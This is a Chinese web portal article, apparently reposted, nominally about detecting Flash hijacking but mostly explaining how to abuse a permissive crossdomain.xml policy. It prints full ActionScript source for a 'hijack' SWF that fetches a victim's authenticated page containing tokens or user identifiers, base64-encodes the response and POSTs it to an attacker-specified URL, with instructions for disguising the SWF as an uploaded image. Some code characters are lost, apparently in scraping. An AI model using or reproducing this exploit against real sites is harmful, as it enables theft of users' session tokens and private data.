加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 百科 > 正文

flash劫持问题如何可以检测?

发布时间:2020-12-15 07:21:31 所属栏目:百科 来源:网络整理
导读:通过什么样的办法检测flash是否被劫持? iis7网站监控 网站的劫持、污染、flash劫持可检测。 Flash 劫持 当我们在挖src漏洞的时候,找到一个接口或者一个页面response内容,存在用户的token或者用户唯一标识的信息的时候,着要访问www. .com/crossdomain.xml
通过什么样的办法检测flash是否被劫持?
  iis7网站监控
  网站的劫持、污染、flash劫持可检测。
  Flash 劫持
  当我们在挖src漏洞的时候,找到一个接口或者一个页面response内容,存在用户的token或者用户唯一标识的信息的时候,着要访问www. .com/crossdomain.xml
  <cross-domain-policy>
  <allow-access-from domain=".qq.com"/>
  <allow-access-from domain="
.gtimg.com"/>
  </cross-domain-policy>
  存在以上的情况,着要在
.com找到一个可以上传图片的就可以进行劫持用户权限。
  hijack源码:
  package {
  import flash.display.Sprite;
  import flash.events.Event;
  import flash.net. ;  import flash.utils.ByteArray;  import flash.text.TextField;  public class hijack extends Sprite  {  private static const _encodeChars:Vector.<int> = _initEncoreChar();  public function hijack()  {  var params:Object=root.loaderInfo.parameters;  var jpg:URLRequest = new URLRequest(params.jpg);  jpg.method = URLRequestMethod.GET;  sendToURL(jpg);  var request:URLRequest = new URLRequest(params.get);  request.method = URLRequestMethod.GET;  var loader:URLLoader=new URLLoader();  loader.addEventListener(Event.COMPLETE,completeHandler);  function completeHandler(event:Event):void{  var data:String=(loader.data);  var postURLrequest:URLRequest = new URLRequest(params.post);  postURLrequest.method = URLRequestMethod.POST;  var postdata:Object = new Array();  postdata[0]=encode(data);  postURLrequest.data = postdata[0];  sendToURL(postURLrequest);  }  loader.load(request);  }  public static function encode(data:String):String {  var bytes:ByteArray = new ByteArray();  bytes.writeUTFBytes(data);  return encodeByteArray(bytes);  }  public static function encodeByteArray(data:ByteArray):String {  var out:ByteArray = new ByteArray();  //Presetting the length keep the memory smaller and optimize speed since there is no "grow" needed  out.length = (2 + data.length - ((data.length + 2) % 3)) 4 / 3; //Preset length //1.6 to 1.5 ms   var i:int = 0;   var r:int = data.length % 3;   var len:int = data.length - r;   var c:uint; //read (3) character AND write (4) characters   var outPos:int = 0;   while(i < len) {   //Read 3 Characters (8bit * 3 = 24 bits)   c = data[int(i++)] << 16 | data[int(i++)] << 8 | data[int(i++)];   out[int(outPos++)] = _encodeChars[int(c >>> 18)];   out[int(outPos++)] = _encodeChars[int(c >>> 12 & 0x3f)];   out[int(outPos++)] = _encodeChars[int(c >>> 6 & 0x3f)];   out[int(outPos++)] = _encodeChars[int(c & 0x3f)];   }   //Need two "=" padding   if(r == 1) {   //Read one char,write two chars,write padding   c = data[int(i)];   out[int(outPos++)] = _encodeChars[int(c >>> 2)];   out[int(outPos++)] = _encodeChars[int((c & 0x03) << 4)];   out[int(outPos++)] = 61;   out[int(outPos++)] = 61;   }   //Need one "=" padding   else if(r == 2) {   c = data[int(i++)] << 8 | data[int(i)];   out[int(outPos++)] = _encodeChars[int(c >>> 10)];   out[int(outPos++)] = _encodeChars[int(c >>> 4 & 0x3f)];   out[int(outPos++)] = _encodeChars[int((c & 0x0f) << 2)];   out[int(outPos++)] = 61;   }   return out.readUTFBytes(out.length);   }   private static function _initEncoreChar():Vector.<int> {   var encodeChars:Vector.<int> = new Vector.<int>(64,true);   // We could push the number directly   // but I think it‘s nice to see the characters (with no overhead on encode/decode)   var chars:String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";   for(var i:int = 0; i<64; i++) {   encodeChars[i] = chars.charCodeAt(i);   }   return encodeChars;   }   }   }   参数说明:   jpg:域下的图片(为了优先加载crossdomain.xml,否则劫持的接口加载太慢会导致无法劫持)   get:劫持的接口或者页面   post:接收劫持过来的页面为base64传输

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读